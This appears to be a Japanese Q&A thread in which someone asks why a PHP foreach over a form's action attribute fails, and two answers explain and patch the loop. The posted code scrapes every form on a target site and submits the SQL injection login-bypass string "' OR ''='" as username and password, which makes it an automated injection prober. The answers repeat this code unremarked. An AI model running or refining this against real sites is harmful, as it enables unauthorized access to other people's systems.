0

私は得ていますMessage: Invalid argument supplied for foreach()

この行にforeach($element->action as $URI){ // find action="" attr of <form> element

私のコードはネストされたforeach()ループです:

           $siteToSearch = file_get_html($prefix.$sss);
                foreach($siteToSearch->find('form') as $element){ // find <form> element
                    foreach($element->action as $URI){ // find action="" attr of <form> element
                        $submit_vars["name"] = "' OR ''='";                     
                        $submit_vars["passwd"] = "' OR ''='";                   
                        $submit_vars["submit"] = "Submit";  
                        $snoopy->submit($URI,$submit_vars);
                        echo "response code: ".$snoopy->response_code."<br>\n";
                        print $snoopy->results;
                    }
   }

$URI最初の行で定義しようとしました$URI = $element->action;が、これで修正されないようです

4

2 に答える 2

1

$element->action引数(ここでは、 )が配列(または配列のようなもの)でない場合、「foreach()に指定された無効な引数」というメッセージが表示されます。

ここでの問題は、本当に内側のforeachループがまったく必要ないということだと思います。$element->actionHTMLフォーム要素の「アクション」属性を表しているようです。各フォームにはアクションが1つだけあり、PHPでは配列ではなく文字列として表される可能性があります。

内側のループを取り出して、前述のように行を追加するだけで$URI = $element->action、この問題は解決するはずです。

于 2013-02-14T19:00:38.907 に答える
0

$element->action値があるかどうかを確認してくださいprint_r( $element);。最初のループの後に使用して、内側のループを条件に入れてください==>if($element->action) { }

コードは以下のようになります

$siteToSearch = file_get_html($prefix.$sss); foreach($siteToSearch->find('form') as $element){ // find <form> element if($element->action) { foreach($element->action as $URI){ // find action="" attr of <form> element $submit_vars["name"] = "' OR ''='";
$submit_vars["passwd"] = "' OR ''='";
$submit_vars["submit"] = "Submit";
$snoopy->submit($URI,$submit_vars); echo "response code: ".$snoopy->response_code."<br>\n"; print $snoopy->results; } } }

于 2013-02-14T07:57:58.657 に答える